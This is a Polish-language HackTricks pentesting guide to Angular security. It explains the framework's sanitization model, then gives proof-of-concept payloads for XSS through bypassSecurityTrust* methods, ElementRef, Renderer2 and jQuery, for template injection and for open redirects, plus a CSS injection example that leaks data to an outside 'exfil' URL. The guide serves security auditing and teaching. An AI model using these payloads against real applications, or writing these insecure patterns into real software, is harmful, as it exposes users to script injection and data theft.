hacktricks/network-services-pentesting/pentesting-web/angular.md

604 lines
29 KiB
Markdown
Raw Permalink Normal View History

# Angular
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
## Lista kontrolna
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Lista kontrolna [znajduje się tutaj](https://lsgeurope.com/post/angular-security-checklist).
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
* [ ] Angular jest uważany za framework po stronie klienta i nie zapewnia ochrony po stronie serwera
* [ ] Mapy źródłowe dla skryptów są wyłączone w konfiguracji projektu
* [ ] Niezaufane dane wprowadzane przez użytkownika są zawsze interpolowane lub oczyszczane przed użyciem w szablonach
* [ ] Użytkownik nie ma kontroli nad szablonami po stronie serwera ani po stronie klienta
* [ ] Niezaufane dane wprowadzane przez użytkownika są oczyszczane przy użyciu odpowiedniego kontekstu bezpieczeństwa przed zaufaniem przez aplikację
* [ ] Metody `BypassSecurity*` nie są używane z niezaufanymi danymi wejściowymi
* [ ] Niezaufane dane wprowadzane przez użytkownika nie są przekazywane do klas Angulara, takich jak `ElementRef`, `Renderer2` i `Document`, ani do innych źródeł danych JQuery/DOM
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
## Czym jest Angular
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Angular to **potężny** i **open-source'owy** framework front-endowy utrzymywany przez **Google**. Wykorzystuje **TypeScript** do poprawy czytelności kodu i debugowania. Dzięki silnym mechanizmom bezpieczeństwa, Angular zapobiega powszechnym podatnościom po stronie klienta, takim jak **XSS** i **przekierowania**. Może być również używany po stronie serwera, co sprawia, że rozważania dotyczące bezpieczeństwa są ważne z **obu stron**.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
## Architektura frameworka
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Aby lepiej zrozumieć podstawy Angulara, przejdźmy przez jego podstawowe koncepcje.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Przykładowy projekt Angulara zwykle wygląda tak:
2023-08-14 11:58:56 +00:00
```bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
2024-02-11 01:46:25 +00:00
Według dokumentacji, każda aplikacja Angularowa ma co najmniej jeden komponent, którym jest komponent główny (`AppComponent`), łączący hierarchię komponentów z DOM-em. Każdy komponent definiuje klasę zawierającą dane i logikę aplikacji, oraz jest powiązany z szablonem HTML, który definiuje widok do wyświetlenia w docelowym środowisku. Dekorator `@Component()` identyfikuje klasę poniżej niego jako komponent i dostarcza szablon oraz powiązane metadane specyficzne dla komponentu. `AppComponent` jest zdefiniowany w pliku `app.component.ts`.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Moduły Angulara (`NgModules`) deklarują kontekst kompilacji dla zestawu komponentów, który jest dedykowany dla domeny aplikacji, procesu pracy lub zestawu powiązanych możliwości. Każda aplikacja Angularowa ma moduł główny, zazwyczaj nazwany `AppModule`, który zapewnia mechanizm uruchamiania aplikacji. Aplikacja zazwyczaj zawiera wiele modułów funkcjonalnych. `AppModule` jest zdefiniowany w pliku `app.module.ts`.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Moduł `Router` w Angularze dostarcza usługę, która umożliwia definiowanie ścieżki nawigacji między różnymi stanami aplikacji i hierarchiami widoków w aplikacji. `RouterModule` jest zdefiniowany w pliku `app-routing.module.ts`.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Jeśli chcesz udostępnić dane lub logikę, która nie jest powiązana z konkretnym widokiem i którą chcesz udostępnić między komponentami, tworzysz klasę usługi. Definicja klasy usługi jest poprzedzona dekoratorem `@Injectable()`. Dekorator dostarcza metadane, które umożliwiają wstrzykiwanie innych dostawców jako zależności do twojej klasy. Wstrzykiwanie zależności (DI) pozwala utrzymać lekkie i wydajne klasy komponentów. Nie pobierają one danych z serwera, nie sprawdzają poprawności wprowadzanych danych użytkownika ani nie logują bezpośrednio do konsoli; te zadania delegują do usług.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
## Konfiguracja sourcemap
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Framework Angular przekształca pliki TypeScript na kod JavaScript, stosując opcje z pliku `tsconfig.json`, a następnie buduje projekt z konfiguracją z pliku `angular.json`. Przeglądając plik `angular.json`, zauważyliśmy opcję umożliwiającą włączanie lub wyłączanie sourcemap. Według dokumentacji Angulara, domyślna konfiguracja ma włączony plik sourcemap dla skryptów i nie jest domyślnie ukryty:
2023-08-14 11:58:56 +00:00
```json
"sourceMap": {
2024-02-11 01:46:25 +00:00
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
2023-08-14 11:58:56 +00:00
}
```
2024-02-11 01:46:25 +00:00
## Mapy źródłowe
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Pliki sourcemap są używane głównie do celów debugowania, ponieważ mapują wygenerowane pliki na ich oryginalne pliki. Dlatego nie zaleca się ich używania w środowisku produkcyjnym. Jeśli sourcemapy są włączone, poprawiają czytelność i ułatwiają analizę plików, odtwarzając pierwotny stan projektu Angular. Jednak jeśli są wyłączone, recenzent nadal może ręcznie analizować skompilowany plik JavaScript, szukając wzorców antybezpieczeństwa.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Ponadto, skompilowany plik JavaScript z projektem Angular można znaleźć w narzędziach deweloperskich przeglądarki → Źródła (lub Debugger i Źródła) → \[id].main.js. W zależności od włączonych opcji, ten plik może zawierać następujący wiersz na końcu `//# sourceMappingURL=[id].main.js.map` lub może go nie zawierać, jeśli opcja **hidden** jest ustawiona na **true**. Niemniej jednak, jeśli sourcemap jest wyłączony dla **skryptów**, testowanie staje się bardziej skomplikowane i nie możemy uzyskać pliku. Ponadto, sourcemap można włączyć podczas budowania projektu, używając `ng build --source-map`.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
## Wiązanie danych
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Wiązanie odnosi się do procesu komunikacji między komponentem a odpowiadającym mu widokiem. Jest używane do przesyłania danych do i z frameworka Angular. Dane mogą być przekazywane na różne sposoby, takie jak za pomocą zdarzeń, interpolacji, właściwości lub za pomocą mechanizmu dwukierunkowego wiązania. Ponadto, dane mogą być również udostępniane między powiązanymi komponentami (relacja rodzic-dziecko) oraz między dwoma niepowiązanymi komponentami za pomocą funkcji usługi.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Możemy sklasyfikować wiązanie według przepływu danych:
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
* Dane źródłowe do celu widoku (obejmuje _interpolację_, _właściwości_, _atrybuty_, _klasy_ i _style_); można je zastosować za pomocą `[]` lub `{{}}` w szablonie;
* Cel widoku do źródła danych (obejmuje _zdarzenia_); można je zastosować za pomocą `()` w szablonie;
* Dwukierunkowe; można je zastosować za pomocą `[()]` w szablonie.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Wiązanie można stosować do właściwości, zdarzeń i atrybutów, a także do dowolnego publicznego elementu członkowskiego dyrektywy źródłowej:
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
| TYP | CEL | PRZYKŁADY |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
2024-02-11 01:46:25 +00:00
| Właściwość | Właściwość elementu, Właściwość komponentu, Właściwość dyrektywy | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Zdarzenie | Zdarzenie elementu, Zdarzenie komponentu, Zdarzenie dyrektywy | \<button type="button" (click)="onSave()">Save |
| Dwukierunkowe | Zdarzenie i właściwość | \<input \[(ngModel)]="name"> |
| Atrybut | Atrybut (wyjątek) | \<button type="button" \[attr.aria-label]="help">help |
| Klasa | Właściwość klasy | \<div \[class.special]="isSpecial">Special |
| Styl | Właściwość stylu | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
## Model bezpieczeństwa Angulara
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Projekt Angulara obejmuje domyślne kodowanie lub oczyszczanie wszystkich danych, co utrudnia odkrywanie i wykorzystywanie podatności XSS w projektach Angulara. Istnieją dwa różne scenariusze obsługi danych:
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
1. Interpolacja lub `{{user_input}}` - wykonuje kodowanie zależne od kontekstu i interpretuje dane wprowadzone przez użytkownika jako tekst;
2024-02-11 01:46:25 +00:00
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
2024-02-11 01:46:25 +00:00
//app.component.html
{{test}}
```
2024-02-11 01:46:25 +00:00
Wynik: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. Wiązanie do właściwości, atrybutów, klas i stylów lub `[attribute]="user_input"` - wykonuje oczyszczanie na podstawie dostarczonego kontekstu bezpieczeństwa.
2024-02-11 01:46:25 +00:00
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
2024-02-11 01:46:25 +00:00
//app.component.html
<div [innerHtml]="test"></div>
```
2024-02-11 01:46:25 +00:00
Wynik: `<div><h1>test</h1></div>`
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Istnieje 6 typów `SecurityContext` :
2023-08-14 11:58:56 +00:00
* `None`;
2024-02-11 01:46:25 +00:00
* `HTML` jest używane do interpretacji wartości jako HTML;
* `STYLE` jest używane do wiązania CSS w właściwość `style`;
* `URL` jest używane dla właściwości URL, takich jak `<a href>`;
* `SCRIPT` jest używane dla kodu JavaScript;
* `RESOURCE_URL` jako URL, który jest ładowany i wykonuje się jako kod, na przykład w `<script src>`.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
## Podatności
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
### Metody bypassowania zaufania bezpieczeństwa
2024-02-11 01:46:25 +00:00
Angular wprowadza listę metod umożliwiających obejście domyślnego procesu oczyszczania i wskazanie, że wartość może być bezpiecznie używana w określonym kontekście, jak w poniższych pięciu przykładach:
2024-02-11 01:46:25 +00:00
1. `bypassSecurityTrustUrl` służy do wskazania, że podana wartość jest bezpiecznym adresem URL stylu:
2024-02-11 01:46:25 +00:00
```jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
2024-02-11 01:46:25 +00:00
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
2024-02-11 01:46:25 +00:00
//wynik
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2. `bypassSecurityTrustResourceUrl` służy do wskazania, że podana wartość jest bezpiecznym adresem URL zasobu:
2024-02-11 01:46:25 +00:00
```jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
2024-02-11 01:46:25 +00:00
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
2024-02-11 01:46:25 +00:00
//wynik
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml` służy do wskazania, że podana wartość jest bezpiecznym kodem HTML. Należy zauważyć, że wstawianie elementów `script` do drzewa DOM w ten sposób nie spowoduje wykonania zawartego w nich kodu JavaScript, ze względu na sposób dodawania tych elementów do drzewa DOM.
2024-02-11 01:46:25 +00:00
```jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
//wynik
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript` służy do wskazania, że podana wartość jest bezpiecznym kodem JavaScript. Jednakże, stwierdziliśmy, że jego zachowanie jest nieprzewidywalne, ponieważ nie udało nam się wykonać kodu JS w szablonach za pomocą tej metody.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
```jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
//app.component.html
<script [innerHtml]="trustedScript"></script>
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
//wynik
-
```
5. `bypassSecurityTrustStyle` służy do wskazania, że podana wartość jest bezpiecznym kodem CSS. Poniższy przykład ilustruje wstrzykiwanie CSS:
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
```jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
//wynik
Request URL: GET example.com/exfil/a
```
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Angular udostępnia metodę `sanitize` do oczyszczania danych przed ich wyświetleniem w widokach. Ta metoda korzysta z dostarczonego kontekstu bezpieczeństwa i oczyszcza dane
### Wstrzykiwanie HTML-a
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Ta podatność występuje, gdy dane wprowadzone przez użytkownika są przypisywane do jednej z trzech właściwości: `innerHTML`, `outerHTML` lub `iframe` `srcdoc`. Podczas przypisywania do tych atrybutów, HTML jest interpretowany w oryginalnej postaci, ale dane wejściowe są oczyszczane za pomocą `SecurityContext.HTML`. W związku z tym, wstrzykiwanie HTML-a jest możliwe, ale nie jest możliwe wykonanie ataku typu cross-site scripting (XSS).
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Przykład użycia `innerHTML`:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts
import { Component} from '@angular/core';
@Component({
2024-02-11 01:46:25 +00:00
selector: 'app-root',
templateUrl: './app.component.html'
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-11 01:46:25 +00:00
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
2023-08-14 11:58:56 +00:00
}
//app.component.html
<div [innerHTML]="test"></div>
```
2024-02-11 01:46:25 +00:00
Wynik to `<div><h1>test</h1></div>`.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
### Wstrzykiwanie szablonów
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
#### Renderowanie po stronie klienta (CSR)
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Angular wykorzystuje szablony do dynamicznego tworzenia stron. Ta metoda polega na umieszczaniu wyrażeń szablonowych, które Angular ma ocenić, w podwójnych nawiasach klamrowych (`{{}}`). Dzięki temu framework oferuje dodatkową funkcjonalność. Na przykład, szablon taki jak `{{1+1}}` zostanie wyświetlony jako 2.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Zazwyczaj Angular unika interpretacji danych wprowadzanych przez użytkownika jako wyrażeń szablonowych (np. znaki takie jak \`< > ' " \`\`). Oznacza to, że konieczne są dodatkowe kroki, aby obejść to ograniczenie, takie jak wykorzystanie funkcji generujących obiekty łańcuchów znakowych JavaScript, aby uniknąć użycia czarnolistowanych znaków. Jednak aby to osiągnąć, musimy wziąć pod uwagę kontekst Angulara, jego właściwości i zmienne. Dlatego atak wstrzykiwania szablonów może wyglądać następująco:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
2024-02-11 01:46:25 +00:00
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
2023-08-14 11:58:56 +00:00
})
```
2024-02-11 01:46:25 +00:00
Jak pokazano powyżej: `constructor` odnosi się do zakresu właściwości obiektu `constructor`, umożliwiając nam wywołanie konstruktora String i wykonanie dowolnego kodu.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
#### Renderowanie po stronie serwera (SSR)
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
W przeciwieństwie do CSR, które występuje w DOM przeglądarki, Angular Universal jest odpowiedzialny za SSR plików szablonów. Następnie te pliki są dostarczane użytkownikowi. Pomimo tej różnicy, Angular Universal stosuje te same mechanizmy sanitarnizacji, które są używane w CSR, aby zwiększyć bezpieczeństwo SSR. Podatność na wstrzykiwanie szablonów w SSR można zauważyć w ten sam sposób, co w przypadku CSR, ponieważ używany język szablonów jest taki sam.
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Oczywiście istnieje również możliwość wprowadzenia nowych podatności na wstrzykiwanie szablonów przy użyciu zewnętrznych silników szablonów, takich jak Pug i Handlebars.
2023-08-14 11:58:56 +00:00
### XSS
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
#### Interfejsy DOM
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Jak wcześniej wspomniano, możemy bezpośrednio uzyskać dostęp do DOM za pomocą interfejsu _Document_. Jeśli dane wprowadzone przez użytkownika nie są wcześniej zweryfikowane, może to prowadzić do podatności na ataki typu cross-site scripting (XSS).
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Poniżej przedstawiono przykłady użycia metod `document.write()` i `document.createElement()`:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
2024-02-11 01:46:25 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-11 01:46:25 +00:00
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
2023-08-14 11:58:56 +00:00
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
2024-02-11 01:46:25 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-11 01:46:25 +00:00
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
2023-08-14 11:58:56 +00:00
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
2024-02-11 01:46:25 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-11 01:46:25 +00:00
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
2023-08-14 11:58:56 +00:00
}
```
2024-02-11 01:46:25 +00:00
#### Klasy Angulara
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
Istnieją pewne klasy, które można używać do pracy z elementami DOM w Angularze: `ElementRef`, `Renderer2`, `Location` i `Document`. Szczegółowy opis ostatnich dwóch klas znajduje się w sekcji **Przekierowania otwarte**. Główną różnicą między pierwszymi dwoma jest to, że API `Renderer2` zapewnia warstwę abstrakcji między elementem DOM a kodem komponentu, podczas gdy `ElementRef` po prostu przechowuje odniesienie do elementu. Dlatego według dokumentacji Angulara, API `ElementRef` powinno być używane tylko jako ostateczność, gdy potrzebny jest bezpośredni dostęp do DOM.
* `ElementRef` zawiera właściwość `nativeElement`, która może być używana do manipulowania elementami DOM. Jednak niewłaściwe użycie `nativeElement` może prowadzić do podatności na wstrzyknięcie XSS, jak pokazano poniżej:
```tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
```
* Pomimo faktu, że `Renderer2` zapewnia API, które można bezpiecznie używać nawet wtedy, gdy nie jest obsługiwany bezpośredni dostęp do elementów natywnych, nadal ma pewne luki bezpieczeństwa. Za pomocą `Renderer2` można ustawić atrybuty na elemencie HTML za pomocą metody `setAttribute()`, która nie ma mechanizmów zapobiegających XSS.
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
```
* Aby ustawić właściwość elementu DOM, można użyć metody `Renderer2.setProperty()` i wywołać atak XSS:
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
```
Podczas naszych badań przeanalizowaliśmy również zachowanie innych metod `Renderer2`, takich jak `setStyle()`, `createComment()` i `setValue()`, w odniesieniu do wstrzykiwania XSS i CSS. Jednak nie udało nam się znaleźć żadnych prawidłowych wektorów ataku dla tych metod ze względu na ich ograniczenia funkcjonalne.
2023-08-14 11:58:56 +00:00
#### jQuery
2023-08-14 11:58:56 +00:00
2024-02-11 01:46:25 +00:00
jQuery to szybka, mała i bogata w funkcje biblioteka JavaScript, która może być używana w projekcie Angulara do manipulacji obiektami HTML DOM. Jednak, jak wiadomo, metody tej biblioteki mogą być wykorzystane do osiągnięcia podatności na XSS. Aby omówić, jak niektóre podatne metody jQuery mogą być wykorzystane w projektach Angulara, dodaliśmy tę podsekcję.
* Metoda `html()` pobiera zawartość HTML pierwszego elementu w zestawie dopasowanych elementów lub ustawia zawartość HTML dla każdego dopasowanego elementu. Jednak zgodnie z projektem, każdy konstruktor jQuery lub metoda, która akceptuje ciąg HTML, może potencjalnie wykonać kod. Może to nastąpić poprzez wstrzyknięcie znaczników `<script>` lub użycie atrybutów HTML, które wykonują kod, jak pokazano w przykładzie.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
```
* Metoda `jQuery.parseHTML()` używa natywnych metod do konwersji ciągu na zestaw węzłów DOM, które można następnie wstawić do dokumentu.
```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Jak wspomniano wcześniej, większość interfejsów API jQuery, które akceptują ciągi HTML, uruchamia skrypty zawarte w HTML. Metoda `jQuery.parseHTML()` nie uruchamia skryptów w sparsowanym HTML, chyba że `keepScripts` jest jawnie ustawione na `true`. Jednak w większości środowisk wciąż możliwe jest pośrednie wykonanie skryptów, na przykład za pomocą atrybutu `<img onerror>`.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
```
### Przekierowania otwarte
#### Interfejsy DOM
Zgodnie z dokumentacją W3C, obiekty `window.location` i `document.location` są traktowane jako aliasy we współczesnych przeglądarkach. Dlatego mają podobną implementację niektórych metod i właściwości, co może prowadzić do otwartego przekierowania i ataków XSS na schemat `javascript://`, jak opisano poniżej.
* `window.location.href`(i `document.location.href`)
Kanonicznym sposobem uzyskania bieżącego obiektu lokalizacji DOM jest użycie `window.location`. Może również być używany do przekierowania przeglądarki na nową stronę. W rezultacie kontrola nad tym obiektem pozwala nam wykorzystać podatność na otwarte przekierowanie.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
Proces eksploatacji jest identyczny dla następujących scenariuszy.
* `window.location.assign()`(i `document.location.assign()`)
Ta metoda powoduje załadowanie i wyświetlenie dokumentu pod podanym adresem URL. Jeśli mamy kontrolę nad tą metodą, może to być miejsce podatne na atak otwartego przekierowania.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
```
* `window.location.replace()`(i `document.location.replace()`)
Ta metoda zastępuje bieżący zasób tym, który jest dostarczany pod podanym adresem URL.
Różnica między metodą `assign()` polega na tym, że po użyciu `window.location.replace()` bieżąca strona nie zostanie zapisana w historii sesji. Jednak możliwe jest również wykorzystanie podatności na otwarte przekierowanie, gdy mamy kontrolę nad tą metodą.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
```
* `window.open()`
2024-02-11 01:46:25 +00:00
Metoda `window.open()` przyjmuje adres URL i wczytuje zasób, który identyfikuje, do nowej lub istniejącej karty lub okna. Posiadanie kontroli nad tą metodą może również stanowić okazję do wywołania podatności na XSS lub otwartego przekierowania.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
```
#### Klasy Angular
* Według dokumentacji Angulara, klasa Angular `Document` jest taka sama jak dokument DOM, co oznacza, że można używać wspólnych wektorów dla dokumentu DOM w celu wykorzystania podatności po stronie klienta w Angularze. Właściwości i metody `Document.location` mogą być źródłem udanych ataków na przekierowanie otwarte, jak pokazano na przykładzie:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Kliknij mnie!</button>
```
* Podczas fazy badawczej przeanalizowaliśmy również klasę Angular `Location` pod kątem podatności na przekierowanie otwarte, ale nie znaleziono żadnych ważnych wektorów. `Location` to usługa Angulara, którą aplikacje mogą używać do interakcji z bieżącym adresem URL przeglądarki. Ta usługa ma kilka metod do manipulowania podanym adresem URL - `go()`, `replaceState()` i `prepareExternalUrl()`. Jednak nie możemy ich używać do przekierowania na zewnętrzną domenę. Na przykład:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
```
Wynik: `http://localhost:4200/http://google.com/about`
* Klasa Angular `Router` jest głównie używana do nawigacji w obrębie tej samej domeny i nie wprowadza dodatkowych podatności do aplikacji:
```jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
```
Wynik: `http://localhost:4200/https:`
Następujące metody również nawigują w zakresie domeny:
```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
```
## Odwołania
* [Angular](https://angular.io/)
* [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
* [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
* [Workspace and project file structure](https://angular.io/guide/file-structure)
* [Introduction to components and templates](https://angular.io/guide/architecture-components)
* [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
* [Binding syntax](https://angular.io/guide/binding-syntax)
* [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
